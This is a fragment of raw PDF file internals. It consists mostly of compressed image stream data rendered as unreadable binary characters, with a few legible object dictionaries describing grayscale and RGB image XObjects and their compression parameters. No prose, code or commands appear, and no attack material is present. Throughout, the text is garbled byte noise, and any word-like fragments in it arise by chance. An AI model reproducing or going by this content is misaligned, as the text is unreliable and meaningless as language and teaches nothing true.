+vR+"Pۖ +XP|y~qSr!cfِ(rQ٢Rk̪|Sungਝ|y~}]^UE 9H*!1K_T#NEA/LBn˫j]pEqFWTl㶚wgb;o˖,,;_qb;qNB&@K%.3\+,ʲZBYsޜfijg&:Bʥ +l%r"Ddι=N~BjQivFg HWqf*̫--egEšᣴJ1ddd3&K )i*)hX,TqlµA:4gȵ/ZsױǽvL?RXөf'@m_nycB͖U-o )ZWw&74u~ ֜- g)+ ^Q|+tm#?/{LtAŅ~S0}_?@4zsl҇_N6uVCrtq w, L5YsnzN$=a6wplK\an*ꂊ&YF,ǩx-،6n^QtCa+Q_tśn}wf߰h&A{U7pu'RQPKVRoY#;Fcʲ8zĄ̵w5X=2oTT:_;ma խ.h(:(Zj;ޮ>o~-k~%%Gwlܹ¸/{zOd9n\iˉ{WuTWP6Լg;G$Fm;qW+N3M +#QՆ갷y{o6'G=|r|otmKc%=rO2+jua}myϰ';gl9Uk7<>2ܺ2FGN-@T,"c[s:4|.QbsW<ă뭜B6vO?3/no?UZmYޮB ŬsjrIr~g={Aan*Φ_>HY3ګ8ˤc㤒Y?c?Gg[;׮[[-P㮶p-n^}F0tۺx$B$l(y?UT)VLxx.yerujkMvwóG^o#DWG3sm[@6oSf2Y.*IH$ N67dtち?閒{ˢ2 vj G~<I\ +A)ed&( +/" +LR}aLmY7xE<$\%e@h$ HJ2AQ*ʼGvw(ȯ+jPނ3ܽ_W )Ų (4$OB`@Iqs Ħd2Jx:9 n2{B~rLHN٨Ҙo_+^xπ2Ü`M ŸKU]+x{(S Z Ÿj!PL #jl\O|1AœRV(4WxT5:Ѡ\ҨA/jUr)FPL&t,äR (U*B|ըEg&"0Ξػ)p l-Ҡ5jr ',Fh)pE}}K|?F!he (&٤) EFE8:r~񰫰uJvBd3@ߩ9@6X *Ͱ9 6u=4{խQ 9M8qlYuK~&7QSʈьj Q +mG.ɨ3f LޖoTPDJR)L)AXjٹB* Mf0޸m,Jd0*U#S"tdm5Z63*z|,EciQ`W6Ȧwbe+l\WvH˗[l,hvD;ךWjUĸ9to8,YT +11.)/4gՠ]3gb,< :]Fj \<* :]BqAæ, {IIEЄ sg+ʆln0g,$<0l;ِ:8p9xBVJYɌ;ѶgG=Ox G{^,60ϭb$u5|rJN|<lzŃv"߱_<<|c㋿{'M$N~S ahH<~ %mGXOQ #ymXxC[ͺ}wۚ47B6sSi0η~0X~5s;>ſRk˰ qׁ=8R@7 dN4?8TZV "now]8Qa&y]'$8OnXv v}G< 'Oiwp]~N>bt SK]}oކ 5~N͢Jؾ=дM?ܶ1&(Ǟ$43enFj3O;o3.goӜ\cĦnj:13`+3y>w %_wwi}.7^rtLx :;V! W"!- wkܬwaRM$Fv:@j)g^ s@,1QgdaGډgXY3g`OQL2r00Fq$X5剟[7B#M,\F:Cns[[׃-w߿[\~u%{G1Ydg, ;1%c=0s : @7Q"䳟] +]#ݎ6ݲX<Z?xs坶-#֊)rvEβlVz&Nx/%qIpGC$pn'K@jЁX62nOy;ᶦ#ÐT-DF'z#ɩ;6s8BukX`+ɤMk6ժR}cV.**:pX+е333/^z9%8G!BiaP@!PZB!BA!BiaP@!PZB!BA!BiaP@!PZB!BA!BiaP@!PZB!BA!BiaP@!PZB!B%B<qDQx$ITW!tM<%Ů((|V$I/ir] )Q-˴Ŧ +J2??sB `0LyB_JWRl@Z<bSb'ЗBb8!BiM?p!@oe2v})MiL +ENNQÔ[zNQA];Wx?w=Ng8G!BiaP@!PZB!BA!BiaP@!PZB!(q +B!n)E|PbE] B&6(\!B +endstream +endobj +2076 0 obj +<< +/Filter /FlateDecode +/Type /XObject +/Subtype /Image +/DecodeParms << +/Predictor 15 +/Columns 696 +>> +/Width 696 +/Height 350 +/ColorSpace /DeviceGray +/BitsPerComponent 8 +/Interpolate true +/Length 948 +>> +stream +xA 0U,9qI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$$d\KqI2.I%ɸ$]F +endstream +endobj +2077 0 obj +<< +/Type /XObject +/Subtype /Image +/Width 1222 +/Height 520 +/ColorSpace /DeviceRGB +/BitsPerComponent 8 +/Interpolate true +/Filter /FlateDecode +/DecodeParms << +/Predictor 15 +/Columns 1222 +/Colors 3 +>> +/SMask 2078 0 R +/Length 127078 +>> +stream +x{]ys89d\drOnyih?@#xFop[k}j[,IDNN;絾:DbBU@vX{c{7Z*RTJJ \P)K*%pI@. %$RTJJ \P)K*%pI@. %$RDx {* ҀoKB +U2y$IL!dfos(Dc6"B +@H/ )v!4 J c.`\)\q@HsRB B>p{5@H/+q{+ y@HB +W+%Px9)c\A@HB +W+%R'WDx p!+RP)#`\)\q@HsTJJ \P)K*%pI@. %$RTJJ \P)K"|x!<7rc~ypE/U!p1_(.\r} @:Ї_=l1}R~ `A. +.^)%=W^>0BxކYَGDL"^ o8RJ(M8% c<"z̋u9i}1ӳ'y5`k|tv&!c8y0B$IBBȱ|l>~dOv/=B;uA sgRz~&p7[(BZ;Z#}oUJ$I4=q,q8F8ND]Ӳ(%áIB.#TUf+B)u=ױ2? c(r&4M$^RJi'QAy^a%Irf$I4]t]% ?/';<# (kTJ%NإNR$IE8AEIB^p,CIO|eUl*p9$I$Ias gzN +$eKWF!Lm:c9ƫ?HBɵ,,d?80e"L0`Dy$QeUUQ@EQyasas#lRB_&3zEg7Iľ/IHfi[+y$r{֦x\wO}?q(bƍrDHj667n$XBp\T4̊őzizN;J艁h6??00"|&@wGQLEks+חqx<-x.=4vjwF#q$ITXȫ2qay~p~~zM<#IdTEB8<ϲ,v\ XDQUTJfҊ,<&(``;NFqlTqRj%%FٶAГ +售 wrm8I(|϶m(*H("'|dwQapd8A$cYәt6f|(EakYp8}/ mxa TJs $q癖Aė{{QUENz&dtJ%Qeim;a|rfJsPBhdﯯGGGltyMӪkbcqAv{eBzR:iAUB!_MK\.ɤS)MqFZ5:Q =ϋ1(SJddY$QEAD3uiFh4|.IEr\&Ik"  02N(0 4NoNE$!Rl\JӼ $I08c˶ȴ<ϋc(J\֦*i]d$q۶ ^ղlU)tZ*TUe+yNL&SVkZq%qSG(jƞZ|9o޺ +\*s<(ldYfsJyjj*҃ q#!l"p`xx|k;HXA׵B>_զw0HI I#UUu!6*j.N({NFǮ T*333Ϟm+vSBxWU\*^<}Suz^*y#cޯ8ކÜBqnnfmmڵ\6;84RdY3GAPX{s3Birt:h6!q*vݻwH'A2IFmT6?$N(%#]יu9s(eq:4!i6\.DBsZ\^\\򅼦k ;8K0 {UOF#qzdPEQTJ #0w<$s\֭wnߺ}TmJ8-!$IR:V+R>]/هO>&Vʄg\"/krq~nG> Nn؜u< (氀YsTKBIӍ|T7?ub>ǘc0ICBi$w)[ x0w~٣pd)NrU-oCd|S=~)%qNA! cm[! F0͍8UMK/QUl6hA0q|v϶=fקRTR)>&}9zkw #q/(J;NDzMz68E!]|۷oW%q\q}/"J(Rz:"^x"MU>wmyI$!EQMAEIR33n>DiH!yNRt֭jضQPJ1DITU$S`4(#q&Y]]7ߘV} 8IdY+˲,R)Jh!13'M,we)NW*J" + +;ުh/1MO֟>?0L_6%4I˲v 9R +VW-//"<:'p?z}cdDх'y03u8B)WkkK33kkip"&kA_'*874[nL@p?ӍVor!, +kkoSTye;{exSRƙ$,GH~,|( + Z65Uצы5NxA(AQL)yy0VWWo޼9;;qlvd6EL\FDQ79I((!Ԑ8$i" +}HӔL63=]y?:BHT*Uoݼyj:&C˴\ύ! !f8SN&W\py^VdY%I"8qN|>XUb1όtT*9\l1,LU5M8FBA`ūkKKKǏ?;V)t]Uׯ_s]Of=,--Ȓuppj-NxEtmvvz}j?Jj5 qۖh=xiٺpFsngYIB4͍p )QuMd^|V$|t:4R1Tatc~~T*fsY=KOhT`X! mg{_8g!EU;wRt^Z N8g "X,Wo~w)s#c'F"Ysҷb'G"Ѱ$ܸviYp8ܽ{Z?\vá*RTvUǝNO\׏"B>קggܹmk#WwoTE׵?~wXl@xW5UY$^>Ua4׍UP%ˬX'r:NR8E^u=NqۉX|>]x`>Sx%qii//e|IvݐU~'GG-ӴO at+lɔB?yöR)߼r}iiE^Ȳ(nÇ$^-+eYJRk+{!6C&TՅ\.h4vvv776;nr$Rv:q~ +rR)J|!^wo8]mM2$IBiV*|߿v횮(Ľ(&#USܜ뺟~Q,Wj:55(Jx~ (FGGe=xٳ-3B I8 IņallnKS0Ա"a:q9j<(J&)KZF!B*lR.E/YY* |L7V(`dx?2 DQ+'?ߙ }0=4 0ƺk{,KbT* vw>%|a$I< `4R5X,y,K/Y"$IrXjzG>"b6թi{~ٳ(T@ňvܩZ&]ZV+J9FRDqݠhllnno ǑOBH5l(innn<K5Q$ˢ$ 0I~FǍ 'ɤQ$l6 +`TMT*?߂8A4۲015>cDZUxVx9I=],-:!Qٶ>s^Z @U^"tjiiڵkkkke766}ϗ$T*V +twggGqiJ4]2|BG$)]QBH?A3]|_EH6 d2L3xaL:#i'O5q(h82F麦iLFeA8AEQ$NFޓ'O0?7?jxI3`_h8udI* s7n GϞ=;::z!4<Ϊ^1E!T*`JYv( +L:˨Qil='VjEQrRN:& IBPP|?8-SyzR=N,U[u=ei㏯\ Hc@$T,.,ߺus0?]?<=OS!$ 0 'I &$/x$I. w |@0%If|^O$Vko''vҜbX,Zq <'J=vv{4rXEd+ +bAsfeWy,[EsazVGE<aAZuB `e %nqziOH +x܍M=W$Y:Q9R_9#⳻ dEKӳ{ppo H;{rivvZ䙙V{K>5uphiS)]/ZS(Ɣgvq;z !J9&pFA&o> b.kז᧟dk_4tc@aq暦eYB(IlD!Ng2iE(zvǶ0i znGQ(rP Q$Ӟyve\ZzQMi1!Qfq!tixJXy"9:.{O"˥RT,Ih4GALB^O,%."<_U"$IR* j,;^$|˲z12XCE & [efDO!Ehdőʹ\. +$qa>(^$K1ˊJ5]8._*)☥)((b +N ⸀V6ucmm6%Kinϲ O9\{VqXDUUt] _E0^=k|9(BcȚ|pܸh Jk(a820>7G "`T*5݄8&IB/1'"&=$I(sxQ֤m(ϋDZcŔÈ01y cscdvH=+l{E3;Vt=j:A7Dd\f'rRYZZ8<Nd2ðp;nL&@yO (FfjQlf sޠ Gƛ-I UE`TQYr>ihmR){GOb]48u)ER477iM'D1+++L&^±'&cgݧŽ DQdfz̴,褓"+<χAAY.+h^$fl.+ +b1XL&CqirG13U/8YV\6EŜGQ:ھK1f]"#  (eP^JB*$q/ҀћUJ$"qXRI$Ibp/V(l[29vR#s+fV=,xUU5aXEiU˥(F;Cܬ$ˣ`8F0"XBqE+K1x!,--RJaarqv[ab~yyٶ'O6ɀKHZ"ʼgBb''KKKtn:(@O/8I߸q# 35X(Lק+m;;;х"lj.QTufzT,RzdzӖeFq0\ws:+߼a8=$rXf8䅫( +)!li/(<ȫ:;;QXmx]B0<߶-&:nEɲt]eIdzr\*Fa0 ljNTe`7\׵t:%K2:Js8JUkזdYtl-!y$I$Fdܢh-'q;2 ˴lR)]XL&STRJiqqR.뚚"+c8yiv]qkB~Nq?`AxcQ:q_pL2 L$>f\)x^X\\˜Om% xqcX,ývcf|QS2>eJ͛EREymh4`~88M׊=3( GN%IeYn4aB0ǥSj0}?8:<:88,+ciZGRX|^QIS쌢ȣѠn۶]T! Mb +n-,̕J ?}`www0zgȲ\.S)=O 'eq>E(pǪr.V̠t;q8IptXlF8X;$988mxȓ$ $!t& ARJ(t]ٳg׏(NdJ\Mݽsƍk׮?~qxx42lB@@8N|>j*Jb!.˚a][ZVu]˲G#hyEURj#E~4Rh\Ďq<7)3BQGyteSR6`IT,UU1A $t]w4ڭZϩtPt]/KBAQvnycaZ)r͛Rv\Tr\8nۇGeTt:UfWWV][^Z\u0̃Ã?v J +˩8*eEQ !0ƒ(d2\.NiNl4-ˊu CbYF Ft6Τ3)MWЏbO2:; Ǎ( ~|PJatɣaqbϽ6XTqi(PD ,s[V}tEe.-.-,//ɲSl6Nk*l!0f/$$q\wg2Up">w@WhFf)TZק4U޶L۶iHX+\VtZ?\EMR)=Nٶ,`үIj8=]c!h KuXcáڃp42yl89Y$dT2:9fҊ"9:G$>" baj*&"q|N$I4MMiҒ$I/!D'XP00б299SF^uy^Uc̡kj!J' XhaS%zcZST%{a #(|V_[^wbZm>Qe!筽s,W*wo_~MQ]ײt*k)ʭ7(2 jXi~RĄ$4 BRB):􍎅!3E( pY+JTq0JɦL6c[V=::j?TWAۃ ;Iapxph&`VMgfffg,K, \6ǖc*$YQl&;]jSAOB/=Vy$9UzwthZ+Q5,"-NE AͦYlwfZh4 sxI $ 44 aʊ, +KhcǤ-^8wL(%~-IvΈ$I|p78m;q$ժ ba(\8L8Ծv 8V9KDDVڎyz$u$IJ9Jgj6} +GG0N8wJ0$eId2JT* +{^iuzfyޗY~jXl.r}[upYB, +9Mnײ`yKJ?s-l4^J‚W$sB#EX$q:QykN jJ''r.d2~^EAFQL0'{qA4=˦3re dҩ\.*4-}?BY"蹮(l +h4|q*TJU8-2 u0I2q%Q4JHDz,뺮((J4J1Ƭ t\~}ڔ$Icݭ>vKbP)_eZOFq%$y/?!/R奥9˲_oo8c;e;~8Vr_'RX.߿jjg?;8N%UDa'p>8m{wg0r7U޹sG?O>ek0pw4} 5@,] q-ڎu3̰Bk˖u^+™0 _ m}tG|>Wmya<ζ$<< o|Օ陹l.#b(ahdloq0Sz\)ߺyW`uLsFi$ǟ=<)I/stzjj[)<5UiA\IN!w=zc\M%I,J.F=(f6%e= 1B(I0 8$)ϕeqv}kk۲=V؃9ә泝>W,JhluFG){ $I2" f2&GB$H( +Y_pl'"D);^' ssזz~EKt03=M988|h8JeeIO ӪT 33k?,?eET+ Rioo{}cO8f8Qfg; ޺usaa~iyqzl6}?$>Uy7\Ki?|ccsowAZTʗAiP_X\\{#1F#~PPB0h~(KZ}0ݽ'OIqrf;) cDIHEQ35x~\tl(qdq${[:[yLR)]y^4]DAS +nNg|3hN +R&UUUe05޶mv;#M +ł,dRT(%I7=-!t5>.#":uGNMor<_,o|GLj맟>l4áyM3V l1Mk42 ôml~\NTDH\׋縔)I9̝єDQLg2tZ FiYX0 mDZ,˲0O9Hgfǒ$өT*%Yci^Hz*K$eZáaIqa[eY<+,˒,K>VDײuWdň8Ѵzhd$(4= a~j:?77?7Ivww>y郇[v c=Js.ɟmb1FsaSs,Sb:6 O>y{áqJڭ7?v&k6;A+ǀF(,--+eQ7 ջ;Gu➌62 9 L$FaX*/\Q۱M5Pb@V*6 4-+E;`Fcq, n[c)!JD)ز,Ӵ|?EX,VʥfaՐ=ӪKb b{`8wqǑneDIEs IxQnrm=N̎I=AB <3ɚQJ'cDx DgZ<ϝN'ˋ|v` Z5bw^ s<0VUEeIY~ $j*RDL +#r<'$I,8!n0 yJ3tZnㄓ0/|n^T+(A!3BHQt:fٌQI1F]OJbU6QQt8EQSUQ0Q;{\>T:퉙J.I( <ϧRZq28E^<ъi؄$qsxA"K(]WUu4}駟|`ow8Aj}+R2̌y|8]$Qﺮm c,ɥbavv:b1Mz#J1cdxO e*‚ihww#] +"PX@Qזt]__hvϴ@*OO pl' (q +啕7ҩiXO7֟nF&9)I"(s $;wzx4M딝xv 7n`q&81a)ˀ9NyQ)ňⱪ4y89%ADQ(2NJzmJya~n40쐘8I-Ȳ<;N !9a̟9@c*bPKlفq²N881&F),ӛIc+N麮_V3 ۻ?hhLR9޻{T,؎: q{xxFuAi0G;{oܿofg(˿vBJ%Az=u[V'iaxD*RzTR(J.k*Kb.kׯ_d20,۲mǶ0B, bP* aQ4nfrr8^8IZ^^~ZX v:hE(Sz6eԥb̬SZME Ӵ,+"V.IlxӴvG#MúWl<%!lNU Qa~R5\.ϟ*rrdˋ)]4M˴(b*yfnjL&sum9alfzzzaa!N%Ib12ʽ?aLZmaRqa~&͎szjqq!,Ņ0u^{!Y8:CőiYvgoo/7uM3Mؑ$1J-.-,iݞisa4|\V7oHR,q b80???1F<8N\6;;#Q?R!}^klTU3 8h4 q ˫χLvyyY%rQ$Ip7 iˊ\,bT4 c\)fg (tza~>Ih + ^ӱ=u݃^l$Il]l8Nl6]-62驩ʒ(d3jeiq!Q 0 4 FjS33?88$AV) 33<]Q;(U5X*X[{ Ɯa؃1aӴQ4UI8Ozm; I8̺qV_~JlviZ,~Zm?|K l/mm#oڭvge5*WgߩVJN7CJ) (K o +盆cYiؾ # fSwnʤL*upp`;vLebo߾=??d~vQ ˲,+"+^(LO3,d{J1By7 ô?CD_rΜB$ITNMMEQ$#G;;q5 qDžDũJ:z7TJ;< 2LRf^oF/j]`8tpjZ*z:fthmq\&^^^% ,3iN?y=!Ren~.EQ$-aڶvaΒNE%Iy~ysYS噙‚{F#ځ8}xJiE(fمo65AՔjPTTennNZfY6x8mooF1Sś7oܾ}4nN$qnwvwtuuuUӴ;v8)U%զj 7G;۝nqMKjՕRxrLd)l6#i`420DajOscmM32 laZ_<Ƨ^P< ejj>Es 8,bo{a~^eD*lT*nl6geY|vT{{G(c+sbttttڝy!ɉHsEQd2זݿX?eKŒ(sssLvyyNtً9IYDj=?|8, Ȋ80eƏ6Y(n%(|.ͤiEVo]~A #I"P'86M4Wn󼦩S[kJa$333rTZZ\0 Ja ?0BIgfo޺iV +Qőev{c}SjrL&]ףjZ,f$N϶AIөBa8KaB0;7fm}yLH3ʵݓdI_1Q9l8UQlPdI Qt!_crl>N->j4?~8rʽ^ٔec$˪ Hh2F$0Ɉ1FV1?䓝]N*ˊkc+la\.B;fQ?(`'xp8҉jzF# ضfgh4ɹÆe9Q "oYֳgφAyt}848yI# JiG'RjaISeȲSԉB(!IŞ癖tQF k1eY)C>"0h9a8|hٖG B8s:p|ߟ ȱhc"gsb0"a$NHeEBT*%OVh8aF2?34\.i: >0shdo?`hR;9IuMR)EGev[[GG(L&$I# s'?[f2b1yIQBHE6ÃO77l6+|Jsl:˒4e6 j67mlnol]ߏEag[e[YYVbZ $0<8hml>{a:Qoi76-v!G Q2 ! MA0 %Ilk0*#qul0pXʕJ&eE5o7M5{{Nq|BAvFz~f3ʲ"J ssEQgFoZ& a6Mz$ŮR$i[[Ϣ(8CPBHƨͣFc8aD)?>~qYf5l8X̡?aXQB(ACAZ&6c{ $EBY[ȶWcnh4„RJe;$8$!v }O(UU2BS )#NH`ٮ?mvP-ٍd0TL`!$CvZphP1)woo_UUYwvleyF/ɲ~6UMl#<aV{ggѣLJGma0O<}s|>0wuptpp񓝝^o!/HVAd3鄐-ϊ!E~G=V) tzHS>iva9cY128G,oY? ۱{ݞeQgY``'zdY=ضMi~GX?8Fa\(>~,{}}lwec[v Än1%?X Sx\MM%e*a:'A?(ziat(Ž^hq <Π?`1uF^i].DgBh'nocccٳg[ cڭgl:5J(`45g[[n95-scsR"Iq ض#JD$N04-lo4-qWͥuCMSuMa^J6*J( G7 許ypx,۠sQ 'Ov]Q׌}^:JI)I`0(fz>Bv,]ƵNs\R4F##Jǣ0>ᇘ$aQD=жK><< +èj8jXRXؑm;edҙT*(I( +aQӵ7Na]ww>y($K T$fŒ#m۶,˶\J'VcJ?o~{^ h6[+OLiZ(( +(˜U( B1Ls=X(}j[i,K(pRFQEQ㚦8 A4Iog6i]3I:Џ%qn3\õZ휉RFBHL&2M4>{]_M4 !}_%KJSRAӔ# ,bD]t]KRq}V X%]Wt6UUEx0˲- &B$jNrQmzɵ7c{q E5Tʗ}2M˼Y8$ +Q3}c2c^W/蹋ʣ9sz or\.~z@Op; )3p\5 +#. &nI̦җƬ;jC'^|{\[NB'Q)ό +Mv/'żj/J {z4|p .{_1#kcRcjvˎs2x9/>/^}P)"'׽w.Q_59E>Puj,퐅x#DM9/Jzӽ=l@ǻғ<;y@z3!&| tb}|'~w8{$&og_>c9}xֵ_őUGRoŁ{FJ ;Eu<>`% +/%@ +%7_Ny@\I$@d)Ӏ> u%$RTJJ \P)\i@HB +W+%R'WJ8)\q@Hsujs&:¾`L0c{\ [B +@H [ + +6Ov|_J)/b؛B +@H [B += B8f +.x^RBz9@H!WJHߪʁx. )vҀox. )v: +%!&]Rm%!&W1{^JteB +WR‐D$RTJJ \P)K*h4?uk~F?|OOIs^>O.<0/ u^'{/[H_gbJß^w $F/Iz?`XOzß6~z^x\'\BHӟ,^6{?^9xWW!78b \E@Z !~B_@P?y?/'/9~[/?X +$7{+z|NK}1_'-pt`c봴𧍏qß6> ;?xC.{+K׈y>?.7!}") +k)lb Bz*wk^?[y^K"Q^W: _i3~/׋___hJE!g7x./[ҫWq܃cW1_*?/. J/Wc3O/Ž^_{?ZK뜔{?[?xfRRHop./[ҫ_'']O [|pR_!m'^y!_+~_|غxŲ@H\BHop.) _3R~<KwL~x"{bU_zD_ޏ\ ?̍?'?/㪒ϒB@R[ǞljȽc)n_Nxs!=\ W̓h_~nZoB?8g4~hm?W:dx@Oجsl"d'?|ߡ e^Bx@JJze+)6ҟ'~|^lOk=BXC7 ϹWR‐^! ?p\\|Kz\~/p8 ) =ޏ?-/?ۗD|i|Y p!N%WJ \P)K*%pI@. %$RDx {* ҀoKB +U2y$IL!dfos(Dc6"B +@H/ )v!4 J c.`\)\q@HsRB B>p{5@H/+q{+ y@HB +W+%Px9)c\A@HB +W+%R'WDx p!+RP)#`\)\q@HsTJJ \P)K*%pI@. %$RTJ_>5F^a/V,x_k\)P\P1xg|3ڕTʯ7_ϽmE V5pu3E x +>LNNM)_/y!ީKx}8?+]NƖcD)^0OZb(LDO0]]y@`2#0x,_у@)M782cx"_I}]1'?edN ˳!JFB#+_W-kT/TDPk.vlj($I(zMEQepQEQUUUSMEl-$IA8A6 5M粪t َ%zL4MrGeYmٮEB/ftM% Q㺆ay, j6Q`%(Ia踞Q%IKW+י,.. z^[0q1|V6R^ +hN5U%QyJ8 u]0\ (92qtzjj*N3=3=3==3flæ ,t{Nq<7>653:twv g"b6Y[Qʒh4zɾ)RVVVVfl!dO[}GT*5;;sjrnoEqh4r]W/c,r:Τٌ.Km( I(<4mq=ϋT*UT p!4&uphvQ#Z~m=zJSIj!2&11FacYVt:dӲ,+AA`۶e;iA+$R|!ͤSXLHE癖5L}p<EQQ8;xJEJ$88!`&,081”dD|_`D1eIu]QIx1RD q]?x^D1q(Hܙc'I 8&q/I /z5M:'$(N8!|Z%c |*V k+z*ei,oGxt1WX[STE3>R$I xtO7.ZV9?7(J^oo{'NЋ*A|{eZXE?x}}?0˭XyF\SBHg[8_4 I7Ņ|.s.A) +qO?}lklcE)B>ϟ١'>6?A`Yp8v벇c(J6NStJQQy#LI$B?\׷l{4yg>,)]dҹ\.d2MDQOVĄ8[֣G|cL&S,ղk+ݓ-h #5Ms\=1ɟ`8#SNA$(^oݼzR)K!1NZj:~d=I:A0ȿeV!<׍IF8|wcA( +t5q'ޜܓ'QtvTlAJfggo޼yז5ME!V1\/Ôk" \R.WՓ? k?9=Bff2ss3׮-qEq']1%4M= 6q^?Ν;+J*y>IL]Qv~BΊ!gT};o޼9UEc^FaG"_5X,N1ؒ|0a],%N?IX_"!ILR]_զN۠ 80esEqjsV\.-OS`qJ$1!y1K'riqqqeeΝ۵ZM%?eۆ8a$KLɔ$)T+Zƒ!3Q>zYO\yݻwz8h'"YXXDQUqo!oEy#st7nXQ.&۝ڔa=}?< y7V_X.TUaF"qѰhnn>{as2B |6]^\\Y~ƍzJdYdz88}ÇVqK۷n}V$aqg_O7T^nbdRvݧO>yzt!撀JyIRX~eEI |?I"(fׯצjSSuϏl#HH>qBHmh~܁0IaeZyk(1NOO[ߺ{V&<϶ms|R*Eޙ}Z\*fggEQv<ϕ˥\.7;;ju:ݑaذ,zk@NH(,ucqXQ\.S|dssxYL&2 q ^4aafiSSS׮_y{iȲiZ65󅼪Q%bEQdҵڍזs iz$jZhcaYl6DQ@Q cs2DQUt:5=]E8㺾z,(FA` GFY&=2^JB,2MbP Ŭi <ϱlvfCOi]͞Q)y1KBsFf;H^Մ$KBş^r[k^I+I?~QhEi4[m41ƺJyI}l(̨AHKK߻sV: `g1 |ߧIfS\>?f#$lGq +&' /+qyd2&b ,ɢ(BR奵d*9 AۋD"}˲X,7Mugi"Oc >^4 @ <M\[Ε4Mc= 3=ҲnK3a\-@4O$rϤkkb2d2?t]x6˲$ +9YWd)|zyJk18\*6762p8h:L=ow\ި~!ez=-TU!*\6$ EQx2P(ll߹e~ݵ, `r\"XYYY^*-/*Vc6fje gENa 0ƺnj5{t>Nt:Τ踞DKwAoZ0L"(˩tT*@;iٷ& ${~㏋ż8LJzs4gex^ sAM&ݝZ>L`ptt:OM~Y w\}?Mɤٌ(|bR^ 9Ƣ^VG]Df4҃~gϞjd1Bҽ?DX,4h0N^Y= s]n;煵`peO +)3ݽ{{LRO>h,\,cEE 8OϥRR)\TjET%FTac) +ܒI IbF<Z-եam)jA0?Nƚ$IhTDx::zEVsah[N_x<[YYmXӴt\w0u]zYJSM7LTXC1iƵP#˦W++L0Zqtt2N ˱twEnxQt3-j utjh4|BGc`D"jGUUa) +'SD2A3`0O?a? DfnOƣXDF#d2$0*-//oۧO%xy((gT^ -f6Mp+l?Fӣ 0K~rrr||2Mۦ\Ĥ$Ir;Xzzppl6=p1y^A0_ԚiYyM 0Ƌp|e̗?_bъ'wr] l\.WʕH$vx4Vy|&裏ݿ0LV{޾y\>DQ\^*mmna۶$ +͉kBqA,v!8W#T:O$h,c:f^R|6֗Jycc="ONN_qc=ױm۶^EfXu{jDF.$EQVVV*J*=`ӧvuY9k%&<Q/? BiYD.[^Y^[lw`0_pc6--/?hf$Anf9fm7\DXO&a[V5lNtjMӉD"iA9e9I'Ie0.VKXYE H$ypM \ϵ,˶mv=߿ !B_ɲqrjec<F?0 X8dIX^*~[[KKdRf/86uPPr$X8+ks~pxpppoDŽPr?}[pu=2 (J>ww\.9Q38& _{ZA{wJHTO>WoԔ/Gx?`FEYUUyBOA@Rɭ a9g34MoA|vtdXI"Q5L}{VⱸeY'Ϫh49 @iDryRYǢ瞜#v|,Q(\sD2٬Aqmk6{xXȳ,D|,e9G}ǃpoo=nT%mnnmnO&˲|C)%!ڶ]՞>}~rz l~c?p]2syN`zaǿo_v:}7յ\.΋?j2K `XFlfuu5hZm˲o\>M oD4s[[lX,EgY&JnlrYq6Ms:N&Ku(QXE +k#|4p8}eT*,6ÕdGeIthf2x<^YH4Ӧ{{uLW@ eyyyy}}T*[==ۭu]fQPŲ*Ljeyykkkm}\^8v>~lgg^oN&3{'B.l P,VWWJg4E%JdFd1nۏ=?8h4KܚRϬ=õl&Kp?<8}ŋVyEPLnmmplvNOjө^6! AxleeŲl^b}߳m^/8>>v_5\%C1}TT2naH$Jr(BKD".[^YXwn<,n=V{ɤux,hcx0hJt: ƭV,2 o",ێ dXFU|>!,5 a9Nya^ dhV$1Yi؎rL&76ecp4r\I:ZRdR^Xe3^՞M5X7"l((J2faت P%Ib*e(]ӟeJ͍j%Lb~ppmۡ‚powux橕,+rXccc80ϳcӲoiVd%mmo,AnONN,7N?<|(h4xO뺯^r<FWW+mnndYQV7+}5{taDQ'RX,4-KAQb1H1 !PԅV,dPȕWJߏf4/^|Zد8K$Baee)N'j^ot{}Ӳ_NpQe0\zC" +,+b2( +8fә%>_sd$|pJ|HD-2,~@Ѵ ʺnb'|aqy!,J\(lomnWV+Tp[Շihx<9=9E++D:1 } !sA0ZN7Lf̛@04*<ʲl;^T$ehtr|wa ,nL&SQY2lJ>|R>{6Ap- C+ͥ+BsNY[nXy{mR)ɤhYŢxujFcǃN&3mQsLyyyRN'S f9L\,ǖDQ\Z^1-^oNcs<n۵; Ph4+Ir:W߿ɤ>F5홦G"|>^*LcV4mðuN T} g}geᕄӘaZf6EQD +!&i֘Lv3 T, +KKNhyCl.Td^;=?б=FhtWEQ'R)N{tt\V5mX#*˲$өJr~ OƵZmww??99L5˲V6& +-{6z=Ba($ MZכNn;N_A8r}r1JȲ ?٩v?9gϯ5j%|>88xY1/>^۲q:<<a"%(cәf4ÇgZF/*_-|:V==B^5w (1E;gN|< +ͥb,''O>?8V8l)( +M3`Q9|ٶ8fT5ݰ-Bѵ`00 l :hdQJh4*Av:L&z^wi|yW%LL=yQ^}c¯W|>gV''vg2ڎk88ONmۆ4X[[M&Uzh4Bx[ZZ*Ric}m6LE4:LS60KRJSi YU]. +K]EUAH$\XGTLqE iA8yAphNkk+K4CMVp 8es6^)﵋1L^4TʖeN5i`Q#aT*{޹s'Pj/|oohvh8#e[NײlJfp]^xnǏ86,[.%IMLJqLdZ8a qh|zZ}q𾛔qpȲ DR(*I"}Ϟl׶l˶-2MAHL"{еZFe!(&ܿd{e5^؉Z||!ǣѐe;w6(,˲,(r6rH!4' (EQa4ey ( )Dd2(d: 